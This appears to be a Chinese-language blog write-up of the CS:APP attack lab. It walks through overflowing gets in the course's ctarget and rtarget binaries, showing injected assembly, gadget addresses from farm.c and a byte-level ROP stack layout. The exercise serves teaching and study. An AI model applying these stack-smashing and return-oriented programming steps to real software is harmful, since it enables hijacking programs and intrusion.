[lab]csapp-attack

Target1

本lab主要练习的是针对 gets 的缓存溢出攻击, 这里记录本人解题的过程和思路.

由于 gets 不能指定缓存大小, 因此在输入超过缓冲区后, 就会覆盖掉堆栈, 而堆栈存放的信息又十分关键, 特别是函数的返回地址, 因此我们可以轻易的覆盖为我们想要返回的地址, 进而达到攻击的目的.

不同于前几个 lab 十分直白, 这个 lab 的描述文件还是十分重要的, 也会有解题的思路.

它给出了 ctarget/rtarget 两个目标文件, 分别是两种不同的攻击方式, 它们都调用 gets 函数, lab 要求我们通过溢出攻击达到执行指定函数的目的

ctarget-touch1

这几个目标的入口流程都是一致的, getbuf 进行输入.

和bomb lab一样, 我们需要通过 objdump 对 elf文件获取汇编指令和地址.
根据提示, 我们要确定buf的长度, 和返回值覆盖到栈的位置.

00000000004017a8 <getbuf>:
  4017a8: 48 83 ec 28                  	subq	$40, %rsp
  4017ac: 48 89 e7                     	movq	%rsp, %rdi
  4017af: e8 8c 02 00 00               	callq	0x401a40 <Gets>
  4017b4: b8 01 00 00 00               	movl	$1, %eax
  4017b9: 48 83 c4 28                  	addq	$40, %rsp
  4017bd: c3                           	retq
  4017be: 90                           	nop
  4017bf: 90                           	nop

subq $40, %rsp 在栈上分配40字节的空间, touch1 要求我们执行 touch1 函数即可, 因此我们考虑输入40个任意字节, 然后输入 touch1 的地址, 这样retq 就会返回到touch1函数执行.

ctarget-touch2

相较于 touch1 , touch2 接受一个 int 参数, lab 要求参数是给定的cookie, 我们知道第一个参数是通过 %edi 传递的, 但继续覆盖缓冲区只能破坏到内存.

这是我们就需要利用输入的字符, 即直接编码后的汇编指令, 然后ret返回到缓冲区上, 达到执行任意指令的目的. 我们需要3条指令

mov    $0x59b997fa,%rdi   # 设置参数1 为 cookie
pushq  $0x4017ec          # 设置touch2 为跳转地址
ret                       # 跳转到 touch2

ctarget-touch3

touch3 接受参数从 int 变为了字符串, 思路与 touch2 类似, 我们将字符串也输入到 buf里, gdb x/s %rsp 查看字符串的地址, 然后将 rdi 设置成这个地址.

mov    $0x5561dc90,%rdi  # 字符串的开始地址
sub $40, %rsp # 这里要将我们的栈空间保留下来, 不然后面函数会覆盖掉
pushq  $0x4018fa 
ret # 跳转到 touch3

rtarget-touch2

rtarget 中, 启用了栈随机化(每次进入栈起始点都会不一样), 和地址保护(非代码区不能再当作指令解释), 我们向 buf 中注入汇编指令不再起作用, 描述文件提供了 return-oriented programming(ROP) 方法.

该方法的思路是, 虽然不能再注入汇编指令, 但因为指令是变长的, 指令序列的不同部分又可以解释为新指令, 我们可以利用现有代码的数据, 以 c3(ret) 为终点, 向前构造一个指令, 由于我们还是可以构造出自己想要的栈, 那么假如目标文件足够大, 包含足够多的指令, 我们还是可以从中构造出自己想要执行的指令序列.

这时就要使用 farm.c , 它包含了一系列看起来无意义的函数, 但我们可以根据上述思路从中重新构造可以执行的指令, 下面是我手动构造出来的所有可行 movq/popq 指令 (当然这一步也可以交给程序来扫描).

addval_273
4019a2: movq %rax %rdi

addval_219
4019ab: popq %rax

getval_481
4019dd: movl %eax %edx

addval_190
401a06: movq %rsp %rax

addval_436
401a13: movl %ecx %esi 

getval_159
401a34: movl %edx %ecx

我们首先要再一次 携带 cookie 调用 touch2, 根据提示我们只需要三条指令

popq %rax      # 将事先存在栈里的 cookie 取到 rax
movq %rax %rdi # rdi = rax
ret

因此构造出来的栈如下

... # 省略让缓冲区溢出的部分
ab 19 40 00 00 00 00 00 /* addr of 4019ab popq %rax  */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* movq %rax %rdi */
ec 17 40 00 00 00 00 00 /* ret */

rtarget-touch3

这一步需要再次调用 touch3, 这里我搜索其他博客的做法, 发现除了提示给出的指令还需要一个能够做加法的指令, 因为我们的字符串存在了栈上, 需要相对地址来访问, 而 farm.c 里刚好有个函数满足我们的需求.

add_xy
4019d6: leaq	(%rdi,%rsi), %rax

现在涉及到的指令比较多, 我们将可以进行的寄存器间的赋值列一下

sp => ax => dx => cx => si
      ||
       => di
di+si => ax

可以di + si 就可以得到字符串地址, 再将它赋给 di 就行, 这里注意到si的链路有 movl, 不够复制地址, 因此 si 就是偏移量, di 就是 sp 原地址即可.

popq %ra
const dis to token string
movl %eax %edx
movl %edx %ecx
movl %ecx %esi  # si = offset
movq %rsp %rax
movq %rax %rdi  # rdi = sp
call add_xy    
movq %rax %rdi  # rdi = sp + offset
ret
token string

很有意思的一个lab, 也锻炼了gdb 查看内存的能力.

posted @ 2022-03-24 23:03  新新人類  阅读(26)  评论(0编辑  收藏  举报